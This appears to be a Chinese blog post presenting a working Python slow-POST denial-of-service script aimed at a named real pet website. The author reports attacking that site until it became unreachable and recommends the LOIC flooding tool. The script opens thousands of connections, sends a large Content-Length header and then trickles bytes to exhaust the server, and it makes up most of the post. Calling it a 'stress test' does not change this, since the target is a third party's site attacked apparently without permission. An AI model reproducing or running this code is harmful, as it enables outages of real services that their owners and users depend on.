DoS攻击实现/压力测试

      DoS攻击,即Denial of Service攻击(拒绝服务攻击).

      DDoS攻击,Distributed Denial of Service(分布式拒绝服务攻击)

       看到网上很多人把DoS攻击错认为DDoS攻击,并且DoS攻击和DOS操作系统是没有任何关系的,只不过凑巧缩写的字母一样,后者是Disk Operating System(磁盘操作系统)

 

       借鉴网上的python—Dos攻击程序,在Python3.7运行

      去搞一个宠物网站,开始攻击之后一段时间还是可以访问的,但过一会就访问不了了,但可以ping通。停止攻击之后反应有延迟,大概10-20分钟之后才能打开网页

import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.bjlovedog.com"
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            print ("Send buf OK!,conn=%d\n" % i)
            socks.append(s)
        except Exception as ex:
            print ("Could not connect to server or send error:%s" % ex)
            time.sleep(10)
#end def

def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
            except Exception as ex:
                print ("Send Exception:%s\n"%ex)
                socks.remove(s)
                s.close()
        time.sleep(1)
#end def

conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())

conn_th.start()
send_th.start()

截图掠影:

DoS攻击实现/压力测试_第1张图片DoS攻击实现/压力测试_第2张图片

 

攻击时:

DoS攻击实现/压力测试_第3张图片

攻击后过一会就又能成功访问了(大概10-20分钟之后)

参考链接:

https://blog.csdn.net/jeepxiaozi/article/details/8799684

或者采用一款软件:LOIC (Low Orbit Ion Cannon 低轨道粒子加农炮)

操作简单,很强劲

DoS攻击实现/压力测试_第4张图片

你可能感兴趣的:(DoS攻击)